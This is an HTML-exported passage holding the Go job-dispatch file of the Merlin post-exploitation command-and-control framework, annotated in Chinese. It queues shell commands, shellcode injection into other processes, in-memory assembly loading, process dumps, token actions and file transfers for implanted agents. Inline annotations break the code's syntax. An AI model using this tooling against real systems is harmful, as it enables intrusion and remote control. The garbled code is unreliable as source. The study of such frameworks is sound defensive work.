Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">server/jobs</span></h4><h5 cid="n42" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">jobs.go</span></h5><pre spellcheck="false" lang="go" cid="n43" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: pre-wrap;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;">// Merlin is a post-exploitation command and control framework.// This file is part of Merlin.// Copyright (C) 2021  Russel Van Tuyl// Merlin is free software: you can redistribute it and/or modify// it under the terms of the GNU General Public License as published by// the Free Software Foundation, either version 3 of the License, or// any later version.// Merlin is distributed in the hope that it will be useful,// but WITHOUT ANY WARRANTY; without even the implied warranty of// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the// GNU General Public License for more details.// You should have received a copy of the GNU General Public License// along with Merlin.  If not, see &lt;<a href="http://www.gnu.org/licenses/" target="_blank">http://www.gnu.org/licenses/</a>&gt;.package jobsimport (   // Standard   &#34;crypto/sha256&#34;   &#34;encoding/base64&#34;   &#34;fmt&#34;   &#34;io&#34;   &#34;io/ioutil&#34;   &#34;os&#34;   &#34;path/filepath&#34;   &#34;strconv&#34;   &#34;strings&#34;   &#34;time&#34;   // 3rd Party   &#34;github.com/fatih/color&#34;   uuid &#34;github.com/satori/go.uuid&#34;   // Internal   &#34;github.com/Ne0nd0g/merlin/pkg/agents&#34;   messageAPI &#34;github.com/Ne0nd0g/merlin/pkg/api/messages&#34;   &#34;github.com/Ne0nd0g/merlin/pkg/core&#34;   merlinJob &#34;github.com/Ne0nd0g/merlin/pkg/jobs&#34;   &#34;github.com/Ne0nd0g/merlin/pkg/messages&#34;)// JobsChannel contains a map of all instantiated jobs created on the server by each Agent&#39;s IDJobsChannel 包含由每个 Agent 的 ID 在服务器上创建的所有实例化 job 的映射var JobsChannel = make(map[uuid.UUID]chan merlinJob.Job)// Jobs is a map that contains specific information about an individual job and is embedded in the JobsChannelJobs 是一个map，其中包含有关单个jon的结构体信息，并嵌入在 JobsChannel 中var Jobs = make(map[string]info)//  info is a structure for holding data for single task assigned to a single agentinfo 是一种结构体，用于保存分配给单个agent的单个task的数据信息包括uuid、job类型、type info struct {   AgentID   uuid.UUID // ID of the agent the job belong to   Type      string    // Type of job   Token     uuid.UUID // A unique token for each task that acts like a CSRF token to prevent multiple job messages 每个任务的token，防止伪造job数据   Status    int       // Use JOB_ constants 使用JOB_的常数   Chunk     int       // The chunk number chunk切片传输数据序号   Created   time.Time // Time the job was created 创建时间   Sent      time.Time // Time the job was sent to the agent 发送时间   Completed time.Time // Time the job finished 完成时间   Command   string    // The actual command job 包含的命令}// Add creates a job and adds it to the specified agent&#39;s job channel 创建一个job并加入到指定的job channel中func Add(agentID uuid.UUID, jobType string, jobArgs []string) (string, error) {   // TODO turn this into a method of the agent struct   if core.Debug {      message(&#34;debug&#34;, fmt.Sprintf(&#34;In jobs.Job function for agent: %s&#34;, agentID.String()))      message(&#34;debug&#34;, fmt.Sprintf(&#34;In jobs.Add function for type: %s, arguments: %v&#34;, jobType, jobType))   } 调试信息输出当前job的agent uuid和任务类型   agent, ok := agents.Agents[agentID]   //if !ok {   // return &#34;&#34;, fmt.Errorf(&#34;%s is not a valid agent&#34;, agentID)   //}   var job merlinJob.Job   switch jobType {   case &#34;agentInfo&#34;:      job.Type = merlinJob.CONTROL 常量merlin 控制message CONTROL = 11 // AgentControl      job.Payload = merlinJob.Command{         Command: &#34;agentInfo&#34;, 命令为输出agent info      }   case &#34;download&#34;:      job.Type = merlinJob.FILETRANSFER 文件传输      if ok {         agent.Log(fmt.Sprintf(&#34;Downloading file from agent at %s\n&#34;, jobArgs[0]))      }      p := merlinJob.FileTransfer{ merilin文件传输      /*type FileTransfer struct {	FileLocation string `json:&#34;dest&#34;` 文件地址	FileBlob     string `json:&#34;blob&#34;` 文件内容	IsDownload   bool   `json:&#34;download&#34;`}*/         FileLocation: jobArgs[0],         IsDownload:   false,      }      job.Payload = p   case &#34;cd&#34;: 切换目录      job.Type = merlinJob.NATIVE agent系统原生命令            	// NATIVE 用于发送 NativeCmd 消息	NATIVE = 13 // NativeCmd	      p := merlinJob.Command{         Command: &#34;cd&#34;,         Args:    jobArgs[0:],      }      job.Payload = p   case &#34;CreateProcess&#34;:创建进程命令在merlin moudle中      job.Type = merlinJob.MODULE       p := merlinJob.Command{         Command: jobType,         Args:    jobArgs,      }      job.Payload = p   case &#34;env&#34;:      job.Type = merlinJob.NATIVE 输出agent env信息 为原生命令      job.Payload = merlinJob.Command{         Command: jobType,         Args:    jobArgs,      }   case &#34;exit&#34;:      job.Type = merlinJob.CONTROL 控制命令      p := merlinJob.Command{         Command: jobArgs[0], // TODO, this should be in jobType position 这个因该为一个单独的job type      }      job.Payload = p   case &#34;ifconfig&#34;:      job.Type = merlinJob.NATIVE 原生命令ifconfig      job.Payload = merlinJob.Command{         Command: jobType,      }   case &#34;initialize&#34;:      job.Type = merlinJob.CONTROL      p := merlinJob.Command{         Command: jobType,      }      job.Payload = p   case &#34;invoke-assembly&#34;: invoke-assembly（调用程序集）需要至少一个参数      if len(jobArgs) &lt; 1 {         return &#34;&#34;, fmt.Errorf(&#34;exected 1 argument for the invoke-assembly command, received: %+v&#34;, jobArgs)      }      job.Type = merlinJob.MODULE 调用程序集的命令在moudle中（通过invoke-assembly方式执行系统命令）      job.Payload = merlinJob.Command{         Command: &#34;clr&#34;,         Args:    append([]string{jobType}, jobArgs...),      }   case &#34;ja3&#34;:      job.Type = merlinJob.CONTROL 修改ja3指纹      p := merlinJob.Command{         Command: jobArgs[0],      }      if len(jobArgs) == 2 {         p.Args = jobArgs[1:]      }      job.Payload = p   case &#34;killdate&#34;: 干掉\重置u时间（？）      job.Type = merlinJob.CONTROL       p := merlinJob.Command{         Command: jobArgs[0],      }      if len(jobArgs) == 2 {         p.Args = jobArgs[1:]      }      job.Payload = p   case &#34;killprocess&#34;:（干掉进程）      job.Type = merlinJob.NATIVE      p := merlinJob.Command{         Command: &#34;killprocess&#34;,         Args:    jobArgs,      }      job.Payload = p   case &#34;list-assemblies&#34;: 列出程序集      job.Type = merlinJob.MODULE      job.Payload = merlinJob.Command{         Command: &#34;clr&#34;,         Args:    []string{&#34;list-assemblies&#34;},      }   case &#34;load-assembly&#34;:加载程序集      if len(jobArgs) &lt; 1 {         return &#34;&#34;, fmt.Errorf(&#34;exected 1 argument for the load-assembly command, received: %+v&#34;, jobArgs)      }      job.Type = merlinJob.MODULE      assembly, err := ioutil.ReadFile(jobArgs[0]) 通过读取文件加载assembly      if err != nil {         return &#34;&#34;, fmt.Errorf(&#34;there was an error reading the assembly at %s:\n%s&#34;, jobArgs[0], err)      }      fileHash := sha256.New() 计算assembly文件hash      _, err = io.WriteString(fileHash, string(assembly))      if err != nil {         message(&#34;warn&#34;, fmt.Sprintf(&#34;there was an error generating a file hash:\n%s&#34;, err))      }      if ok {         agent.Log(fmt.Sprintf(&#34;loading assembly from %s with a SHA256: %s to agent&#34;, jobArgs[0], fileHash.Sum(nil)))      }      name := filepath.Base(jobArgs[0])      if len(jobArgs) &gt; 1 {         name = jobArgs[1]      }      job.Payload = merlinJob.Command{         Command: &#34;clr&#34;,         Args:    []string{jobType, base64.StdEncoding.EncodeToString([]byte(assembly)), name}job类型,base64编码assembly内容，n文件地址      }   case &#34;load-clr&#34;:      if len(jobArgs) &lt; 1 {         return &#34;&#34;, fmt.Errorf(&#34;exected 1 argument for the load-clr command, received: %+v&#34;, jobArgs)      }      job.Type = merlinJob.MODULE      job.Payload = merlinJob.Command{         Command: &#34;clr&#34;,         Args:    append([]string{jobType}, jobArgs...),      }   case &#34;ls&#34;:      job.Type = merlinJob.NATIVE 系统原生列目录命令      p := merlinJob.Command{         Command: &#34;ls&#34;, // TODO This should be in the jobType position      }      if len(jobArgs) &gt; 0 {         p.Args = jobArgs[0:]      } else {         p.Args = []string{&#34;./&#34;}      }      job.Payload = p   case &#34;maxretry&#34;: 设置最大充实次数      job.Type = merlinJob.CONTROL      p := merlinJob.Command{         Command: jobArgs[0], // TODO This should be in the jobType postion      }      if len(jobArgs) == 2 {         p.Args = jobArgs[1:]      }      job.Payload = p   case &#34;memfd&#34;: 读文件（？）       if len(jobArgs) &lt; 1 {         return &#34;&#34;, fmt.Errorf(&#34;expected 1 argument for the memfd command, received %d&#34;, len(jobArgs))      }      executable, err := ioutil.ReadFile(jobArgs[0])      if err != nil {         return &#34;&#34;, fmt.Errorf(&#34;there was an error reading %s: %v&#34;, jobArgs[0], err)      }      fileHash := sha256.New()      _, err = io.WriteString(fileHash, string(executable))      if err != nil {         message(&#34;warn&#34;, fmt.Sprintf(&#34;There was an error generating file hash:\r\n%s&#34;, err.Error()))      }      b := base64.StdEncoding.EncodeToString(executable)      job.Type = merlinJob.MODULE      job.Payload = merlinJob.Command{         Command: jobType,         Args:    append([]string{b}, jobArgs[1:]...),      }   case &#34;Minidump&#34;: 读进程（?）内容在moudle中      job.Type = merlinJob.MODULE      p := merlinJob.Command{         Command: jobType,         Args:    jobArgs,      }      job.Payload = p   case &#34;netstat&#34;:      job.Type = merlinJob.MODULE      p := merlinJob.Command{         Command: jobType,         Args:    jobArgs,      }      job.Payload = p   case &#34;nslookup&#34;:      job.Type = merlinJob.NATIVE      job.Payload = merlinJob.Command{         Command: jobType,         Args:    jobArgs,      }   case &#34;padding&#34;: 填充字段查看      job.Type = merlinJob.CONTROL      p := merlinJob.Command{         Command: jobArgs[0],      }      if len(jobArgs) == 2 {         p.Args = jobArgs[1:]      }      job.Payload = p   case &#34;pipes&#34;: 管道（内容在moudle中）      job.Type = merlinJob.MODULE      p := merlinJob.Command{         Command: &#34;pipes&#34;,      }      job.Payload = p   case &#34;ps&#34;:      job.Type = merlinJob.MODULE      p := merlinJob.Command{         Command: &#34;ps&#34;,      }      job.Payload = p   case &#34;pwd&#34;:      job.Type = merlinJob.NATIVE      p := merlinJob.Command{         Command: jobArgs[0], // TODO This should be in the jobType position      }      job.Payload = p   case &#34;rm&#34;:      job.Type = merlinJob.NATIVE      job.Payload = merlinJob.Command{         Command: jobType,         Args:    jobArgs[0:1],      }   case &#34;run&#34;, &#34;exec&#34;:      job.Type = merlinJob.CMD      payload := merlinJob.Command{         Command: jobArgs[0],      }      if len(jobArgs) &gt; 1 {         payload.Args = jobArgs[1:]      }      job.Payload = payload   case &#34;runas&#34;: linux高级命令，内容在moudle中（设置别名？）      job.Type = merlinJob.MODULE      job.Payload = merlinJob.Command{         Command: jobType,         Args:    jobArgs,      }   case &#34;sdelete&#34;: 删除      job.Type = merlinJob.NATIVE      job.Payload = merlinJob.Command{         Command: jobType,         Args:    jobArgs,      }   case &#34;shell&#34;: cmd命令，发送cmd payload      job.Type = merlinJob.CMD      payload := merlinJob.Command{         Command: jobType,         Args:    jobArgs,      }      job.Payload = payload   case &#34;shellcode&#34;: 发送shellcode payload      job.Type = merlinJob.SHELLCODE      payload := merlinJob.Shellcode{         Method: jobArgs[0],      }      if payload.Method == &#34;self&#34; {         payload.Bytes = jobArgs[1]      } else if payload.Method == &#34;remote&#34; || payload.Method == &#34;rtlcreateuserthread&#34; || payload.Method == &#34;userapc&#34; {         i, err := strconv.Atoi(jobArgs[1])         if err != nil {            return &#34;&#34;, err         }         payload.PID = uint32(i)         payload.Bytes = jobArgs[2]      }      job.Payload = payload   case &#34;skew&#34;: 偏斜？？      job.Type = merlinJob.CONTROL      p := merlinJob.Command{         Command: jobArgs[0],      }      if len(jobArgs) == 2 {         p.Args = jobArgs[1:]      }      job.Payload = p   case &#34;sleep&#34;:      job.Type = merlinJob.CONTROL      p := merlinJob.Command{         Command: jobArgs[0],      }      if len(jobArgs) == 2 {         p.Args = jobArgs[1:]      }      job.Payload = p   case &#34;ssh&#34;:      job.Type = merlinJob.MODULE      job.Payload = merlinJob.Command{         Command: jobType,         Args:    jobArgs,      }   case &#34;token&#34;: token令牌命令在moudle中      job.Type = merlinJob.MODULE      job.Payload = merlinJob.Command{         Command: jobType,         Args:    jobArgs,      }   case &#34;touch&#34;:      job.Type = merlinJob.NATIVE      job.Payload = merlinJob.Command{         Command: jobType,         Args:    jobArgs,      }   case &#34;upload&#34;:      job.Type = merlinJob.FILETRANSFER      if len(jobArgs) &lt; 2 {         return &#34;&#34;, fmt.Errorf(&#34;expected 2 arguments for upload command, received %d&#34;, len(jobArgs))      }      uploadFile, uploadFileErr := ioutil.ReadFile(jobArgs[0])      if uploadFileErr != nil {         // TODO send &#34;ServerOK&#34;         return &#34;&#34;, fmt.Errorf(&#34;there was an error reading %s: %v&#34;, merlinJob.String(job.Type), uploadFileErr)      }      fileHash := sha256.New()      _, err := io.WriteString(fileHash, string(uploadFile))      if err != nil {         message(&#34;warn&#34;, fmt.Sprintf(&#34;There was an error generating file hash:\r\n%s&#34;, err.Error()))      }      if ok {         agent.Log(fmt.Sprintf(&#34;Uploading file from server at %s of size %d bytes and SHA-256: %x to agent at %s&#34;,            jobArgs[0],            len(uploadFile),            fileHash.Sum(nil),            jobArgs[1]))      }      p := merlinJob.FileTransfer{         FileLocation: jobArgs[1],         FileBlob:     base64.StdEncoding.EncodeToString([]byte(uploadFile)),         IsDownload:   true,      }      job.Payload = p   case &#34;uptime&#34;: 更新时间      job.Type = merlinJob.MODULE      p := merlinJob.Command{         Command: &#34;uptime&#34;,      }      job.Payload = p   default:      return &#34;&#34;, fmt.Errorf(&#34;invalid job type: %d&#34;, job.Type)   }   // If the Agent is set to broadcast identifier for ALL agents   if agentID.String() == &#34;ffffffff-ffff-ffff-ffff-ffffffffffff&#34; { 如果agent设置为所有agent的广播标识符      if len(agents.Agents) &lt;= 0 {         return &#34;&#34;, fmt.Errorf(&#34;there are 0 available agents, no jobs were created&#34;)      }      for a := range agents.Agents {         // Fill out remaining job fields         token := uuid.NewV4() 生成token         job.ID = core.RandStringBytesMaskImprSrc(10) 生成10位随机字符id         job.Token = token         job.AgentID = a         // Add job to the channel         _, k := JobsChannel[agentID]         if !k {            JobsChannel[agentID] = make(chan merlinJob.Job, 100)  为每个agent分配100个job空间         }         JobsChannel[a] &lt;- job         //agents.Agents[a].JobChannel &lt;- job         // Add job to the list         Jobs[job.ID] = info{ 填充job信息            AgentID: a,            Token:   token,            Type:    merlinJob.String(job.Type),            Status:  merlinJob.CREATED,            Created: time.Now().UTC(),            Command: jobType + &#34; &#34; + strings.Join(jobArgs, &#34; &#34;),         }         // Log the job         if ok {            agent.Log(fmt.Sprintf(&#34;Created job Type:%s, ID:%s, Status:%s, Args:%s&#34;,               messages.String(job.Type),               job.ID,               &#34;Created&#34;,               jobArgs))         }      }   } else {      // A single Agent      token := uuid.NewV4()      job.Token = token      job.ID = core.RandStringBytesMaskImprSrc(10)      job.AgentID = agentID      // Add job to the channel      _, k := JobsChannel[agentID]      if !k {         JobsChannel[agentID] = make(chan merlinJob.Job, 100)      }      JobsChannel[agentID] &lt;- job      // Add job to the list      Jobs[job.ID] = info{         AgentID: agentID,         Token:   token,         Type:    merlinJob.String(job.Type),         Status:  merlinJob.CREATED,         Created: time.Now().UTC(),         Command: jobType + &#34; &#34; + strings.Join(jobArgs, &#34; &#34;),      }      // Log the job      if ok {         agent.Log(fmt.Sprintf(&#34;Created job Type:%s, ID:%s, Status:%s, Args:%s&#34;,            messages.String(job.Type),            job.ID,            &#34;Created&#34;,            jobArgs))      }   }   return job.ID, nil}// Clear removes any jobs the queue that have been created, but NOT sent to the agent清除删除队列中已创建但未发送到agent的所有jobfunc Clear(agentID uuid.UUID) error {   if core.Debug {      message(&#34;debug&#34;, &#34;Entering into jobs.Clear() function...&#34;)   }   //_, ok := agents.Agents[agentID]   //if !ok {   // return fmt.Errorf(&#34;%s is not a valid agent&#34;, agentID)   //}   // Empty the job channel   jobChannel, k := JobsChannel[agentID]   if !k {      // There was not a jobs channel for this agent      return nil   }   jobLength := len(jobChannel)   if jobLength &gt; 0 {      for i := 0; i &lt; jobLength; i++ {         job := &lt;-jobChannel 循环遍历取出job设置status为cancel         // Update Job Info structure         j, ok := Jobs[job.ID]         if ok {            j.Status = merlinJob.CANCELED            Jobs[job.ID] = j         } else {            return fmt.Errorf(&#34;invalid job %s for agent %s&#34;, job.ID, agentID)         }         if core.Debug {            message(&#34;debug&#34;, fmt.Sprintf(&#34;Channel command string: %+v&#34;, job))            message(&#34;debug&#34;, fmt.Sprintf(&#34;Job type: %s&#34;, messages.String(job.Type)))         }      }   }   return nil}// ClearCreated removes all unsent jobs across all agents 删除所有agent                                                                                                          所有未发送的jobfunc ClearCreated() error {   if core.Debug {      message(&#34;debug&#34;, &#34;Entering into jobs.Clear() function...&#34;)   }   for id := range JobsChannel {      err := Clear(id)      if err != nil {         return err      }   }   return nil}// Get returns a list of jobs that need to be sent to the agent返回需要发送给agent的job列表 根据agent uuid取出对应的job channel中的所有job设置type为sentfunc Get(agentID uuid.UUID) ([]merlinJob.Job, error) {   if core.Debug {      message(&#34;debug&#34;, &#34;Entering into jobs.Get() function...&#34;)   }   var jobs []merlinJob.Job   _, ok := agents.Agents[agentID]   if !ok {      return jobs, fmt.Errorf(&#34;%s is not a valid agent&#34;, agentID)   }   jobChannel, k := JobsChannel[agentID]   if !k {      // There was not a jobs channel for this agent      return jobs, nil   }   // Check to see if there are any jobs   jobLength := len(jobChannel)   if jobLength &gt; 0 {      for i := 0; i &lt; jobLength; i++ {         job := &lt;-jobChannel         jobs = append(jobs, job)         // Update Job Info map         j, ok := Jobs[job.ID]         if ok {            j.Status = merlinJob.SENT            j.Sent = time.Now().UTC()            Jobs[job.ID] = j         } else {            return jobs, fmt.Errorf(&#34;invalid job %s for agent %s&#34;, job.ID, agentID)         }         if core.Debug {            message(&#34;debug&#34;, fmt.Sprintf(&#34;Channel command string: %+v&#34;, job))            message(&#34;debug&#34;, fmt.Sprintf(&#34;Job type: %s&#34;, merlinJob.String(job.Type)))         }      }   }   if core.Debug {      message(&#34;debug&#34;, fmt.Sprintf(&#34;Returning jobs:\r\n%+v&#34;, jobs))   }   return jobs, nil}// Handler evaluates a message sent in by the agent and the subsequently executes any corresponding tasks评估agent发送的消息，然后执行任何相应的任务func Handler(m messages.Base) (messages.Base, error) {   if core.Debug {      message(&#34;debug&#34;, &#34;Entering into jobs.Handle() function...&#34;)      message(&#34;debug&#34;, fmt.Sprintf(&#34;Input message: %+v&#34;, m))   }   returnMessage := messages.Base{      ID:      m.ID,      Version: 1.0,   }   if m.Type != messages.JOBS { message类型为jobs      return returnMessage, fmt.Errorf(&#34;invalid message type: %s for job handler&#34;, messages.String(m.Type))   }   jobs := m.Payload.([]merlinJob.Job) 拆解message中payload字段为jobs   a, ok := agents.Agents[m.ID] 获取agent uuid   if !ok {      return returnMessage, fmt.Errorf(&#34;%s is not a valid agent&#34;, m.ID)   }   a.StatusCheckIn = time.Now().UTC()   returnMessage.Padding = core.RandStringBytesMaskImprSrc(a.PaddingMax)   var returnJobs []merlinJob.Job   for _, job := range jobs {      // Check to make sure agent UUID is in dataset      agent, ok := agents.Agents[job.AgentID]      if ok {         // Verify that the job contains the correct token and that it was not already completed         err := checkJob(job)         if err != nil {            // Agent will send back error messages that are not the result of a job            if job.Type != merlinJob.RESULT {               return returnMessage, err            }            if core.Debug {               message(&#34;debug&#34;, fmt.Sprintf(&#34;Received %s message without job token.\r\n%s&#34;, messages.String(job.Type), err))            }         }         switch job.Type {         case merlinJob.RESULT:            agent.Log(fmt.Sprintf(&#34;Results for job: %s&#34;, job.ID))            userMessage := messageAPI.UserMessage{               Level:   messageAPI.Note,               Time:    time.Now().UTC(),               Message: fmt.Sprintf(&#34;Results job %s for agent %s at %s&#34;, job.ID, job.AgentID, time.Now().UTC().Format(time.RFC3339)),            }            messageAPI.SendBroadcastMessage(userMessage)             result := job.Payload.(merlinJob.Results)广播格式化job信息要输出            if len(result.Stdout) &gt; 0 {               agent.Log(fmt.Sprintf(&#34;Command Results (stdout):\r\n%s&#34;, result.Stdout))               userMessage := messageAPI.UserMessage{                  Level:   messageAPI.Success,                  Time:    time.Now().UTC(),                  Message: result.Stdout,               }               messageAPI.SendBroadcastMessage(userMessage)广播job command结果            }            if len(result.Stderr) &gt; 0 {               agent.Log(fmt.Sprintf(&#34;Command Results (stderr):\r\n%s&#34;, result.Stderr))                userMessage := messageAPI.UserMessage{                  Level:   messageAPI.Warn,                  Time:    time.Now().UTC(),                  Message: result.Stderr,               }               messageAPI.SendBroadcastMessage(userMessage) 广播命令错误信息            }         case merlinJob.AGENTINFO:            agent.UpdateInfo(job.Payload.(messages.AgentInfo))         case merlinJob.FILETRANSFER: 传输文件            err := fileTransfer(job.AgentID, job.Payload.(merlinJob.FileTransfer))            if err != nil {               return returnMessage, err            }         }         // Update Jobs Info structure         j, k := Jobs[job.ID]         if k {            j.Status = merlinJob.COMPLETE            j.Completed = time.Now().UTC()            Jobs[job.ID] = j         }      } else {         userMessage := messageAPI.UserMessage{            Level:   messageAPI.Warn,            Time:    time.Now().UTC(),            Message: fmt.Sprintf(&#34;Job %s was for an invalid agent %s&#34;, job.ID, job.AgentID),         }         messageAPI.SendBroadcastMessage(userMessage)      }   }   // See if there are any new jobs to send back 完成job后查看是否有新job要执行   agentJobs, err := Get(m.ID)   if err != nil {      return returnMessage, err   }   returnJobs = append(returnJobs, agentJobs...)   if len(returnJobs) &gt; 0 {      returnMessage.Type = messages.JOBS      returnMessage.Payload = returnJobs   } else {      returnMessage.Type = messages.IDLE   }   if core.Debug {      message(&#34;debug&#34;, fmt.Sprintf(&#34;Message that will be returned to the Agent:\r\n%+v&#34;, returnMessage))      message(&#34;debug&#34;, &#34;Leaving jobs.Handle() function...&#34;)   }   return returnMessage, nil}// Idle handles input idle messages from the agent and checks to see if there are any jobs to return输入agent的 idle信息并查看是否有job去返回（返回对应uuid的job） func Idle(agentID uuid.UUID) (messages.Base, error) {   returnMessage := messages.Base{      ID:      agentID,      Version: 1.0,   }   agent, ok := agents.Agents[agentID]   if !ok {      return returnMessage, fmt.Errorf(&#34;%s is not a valid agent&#34;, agentID)   }   if core.Verbose || core.Debug {      message(&#34;success&#34;, fmt.Sprintf(&#34;Received agent status checkin from %s&#34;, agentID))   }   agent.StatusCheckIn = time.Now().UTC()   returnMessage.Padding = core.RandStringBytesMaskImprSrc(agent.PaddingMax)   // See if there are any new jobs to send back   jobs, err := Get(agentID)   if err != nil {      return returnMessage, err   }   if len(jobs) &gt; 0 {      returnMessage.Type = messages.JOBS      returnMessage.Payload = jobs   } else {      returnMessage.Type = messages.IDLE   }   return returnMessage, nil}// GetTableActive returns a list of rows that contain information about active jobs返回包含有关active作业信息的行列表func GetTableActive(agentID uuid.UUID) ([][]string, error) {   if core.Debug {      message(&#34;debug&#34;, fmt.Sprintf(&#34;entering into jobs.GetTableActive for agent %s&#34;, agentID.String()))   }   var jobs [][]string   _, ok := agents.Agents[agentID]   if !ok {      return jobs, fmt.Errorf(&#34;%s is not a valid agent&#34;, agentID)   }   for id, job := range Jobs {      if job.AgentID == agentID {         //message(&#34;debug&#34;, fmt.Sprintf(&#34;GetTableActive(%s) ID: %s, Job: %+v&#34;, agentID.String(), id, job))         var status string         switch job.Status {         case merlinJob.CREATED:            status = &#34;Created&#34;         case merlinJob.SENT:            status = &#34;Sent&#34;         case merlinJob.RETURNED:            status = &#34;Returned&#34;         default:            status = fmt.Sprintf(&#34;Unknown job status: %d&#34;, job.Status)         }         var zeroTime time.Time         // Don&#39;t add completed or canceled jobs         if job.Status != merlinJob.COMPLETE &amp;&amp; job.Status != merlinJob.CANCELED {            var sent string            if job.Sent != zeroTime {               sent = job.Sent.Format(time.RFC3339)            }            // &lt;JobID&gt;, &lt;Command&gt;, &lt;JobStatus&gt;, &lt;Created&gt;, &lt;Sent&gt;            jobs = append(jobs, []string{               id,               job.Command,               status,               job.Created.Format(time.RFC3339),               sent,            })         }      }   }   return jobs, nil}// GetTableAll returns all unsent jobs to be displayed as a table 展示所有未发送的jobfunc GetTableAll() [][]string {   var jobs [][]string   for id, job := range Jobs {      var status string      switch job.Status {      case merlinJob.CREATED:         status = &#34;Created&#34;      case merlinJob.SENT:         status = &#34;Sent&#34;      case merlinJob.RETURNED:         status = &#34;Returned&#34;      default:         status = fmt.Sprintf(&#34;Unknown job status: %d&#34;, job.Status)      }      if job.Status != merlinJob.COMPLETE &amp;&amp; job.Status != merlinJob.CANCELED {         var zeroTime time.Time         var sent string         if job.Sent != zeroTime {            sent = job.Sent.Format(time.RFC3339)         }         jobs = append(jobs, []string{            job.AgentID.String(),            id,            job.Command,            status,            job.Created.Format(time.RFC3339),            sent,         })      }   }   return jobs}// checkJob verifies that the input job message contains the expected token and was not already completed验证输入的作业消息是否包含预期的token并且尚未完成func checkJob(job merlinJob.Job) error {   // Check to make sure agent UUID is in dataset   _, ok := agents.Agents[job.AgentID]   if !ok {      return fmt.Errorf(&#34;job %s was for an invalid agent %s&#34;, job.ID, job.AgentID)   }   j, k := Jobs[job.ID]   if !k {      return fmt.Errorf(&#34;job %s was not found for agent %s&#34;, job.ID, job.AgentID)   }   if job.Token != j.Token { 验证token      return fmt.Errorf(&#34;job %s for agent %s did not contain the correct token.\r\nExpected: %s, Got: %s&#34;, job.ID, job.AgentID, j.Token, job.Token)   }   if j.Status == merlinJob.COMPLETE { 验证job是否完成      return fmt.Errorf(&#34;job %s for agent %s was previously completed on %s&#34;, job.ID, job.AgentID, j.Completed.UTC().Format(time.RFC3339))   }   if j.Status == merlinJob.CANCELED { 验证job是否取消      return fmt.Errorf(&#34;job %s for agent %s was previously canceled on&#34;, job.ID, job.AgentID)   }   return nil}// fileTransfer handles file upload/download operationsfunc fileTransfer(agentID uuid.UUID, p merlinJob.FileTransfer) error {   if core.Debug {      message(&#34;debug&#34;, &#34;Entering into agents.FileTransfer&#34;)   }   // Check to make sure it is a known agent   agent, ok := agents.Agents[agentID]   if !ok {      return fmt.Errorf(&#34;%s is not a valid agent&#34;, agentID)   }   if p.IsDownload {      agentsDir := filepath.Join(core.CurrentDir, &#34;data&#34;, &#34;agents&#34;)      _, f := filepath.Split(p.FileLocation) // We don&#39;t need the directory part for anything      if _, errD := os.Stat(agentsDir); os.IsNotExist(errD) {         errorMessage := fmt.Errorf(&#34;there was an error locating the agent&#39;s directory:\r\n%s&#34;, errD.Error())         agent.Log(errorMessage.Error())         return errorMessage      }      message(&#34;success&#34;, fmt.Sprintf(&#34;Results for %s at %s&#34;, agentID, time.Now().UTC().Format(time.RFC3339)))      downloadBlob, downloadBlobErr := base64.StdEncoding.DecodeString(p.FileBlob) base64解码下载的内容      if downloadBlobErr != nil {         errorMessage := fmt.Errorf(&#34;there was an error decoding the fileBlob:\r\n%s&#34;, downloadBlobErr.Error())         agent.Log(errorMessage.Error())         return errorMessage      }      downloadFile := filepath.Join(agentsDir, agentID.String(), f)在agent id 对应的文件夹下存储下载的文件      writingErr := ioutil.WriteFile(downloadFile, downloadBlob, 0600)      if writingErr != nil {         errorMessage := fmt.Errorf(&#34;there was an error writing to -&gt; %s:\r\n%s&#34;, p.FileLocation, writingErr.Error())         agent.Log(errorMessage.Error())         return errorMessage      }      successMessage := fmt.Sprintf(&#34;Successfully downloaded file %s with a size of %d bytes from agent %s to %s&#34;,         p.FileLocation,         len(downloadBlob),         agentID.String(),         downloadFile)      message(&#34;success&#34;, successMessage)      agent.Log(successMessage)   }   if core.Debug {      message(&#34;debug&#34;, &#34;Leaving agents.FileTransfer&#34;)   }   return nil}// message is used to send send messages to STDOUT where the server is running and not intended to be sent to CLI用于将发送消息发送到服务器正在运行的 STDOUT，而不打算发送到 CLIfunc message(level string, message string) {   switch level {   case &#34;info&#34;:      color.Cyan(&#34;[i]&#34; + message)   case &#34;note&#34;:      color.Yellow(&#34;[-]&#34; + message)   case &#34;warn&#34;:      color.Red(&#34;[!]&#34; + message)   case &#34;debug&#34;:      color.Red(&#34;[DEBUG]&#34; + message)   case &#34;success&#34;:      color.Green(&#34;[+]&#34; + message)   default:      color.Red(&#34;[_-_]Invalid message level: &#34; + message)   }}</pre><h4 cid="n44" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">jobs</span></h4><h5 cid="n45" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">jobs.go</span></h5><pre spellcheck="false" lang="go" cid="n46" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: 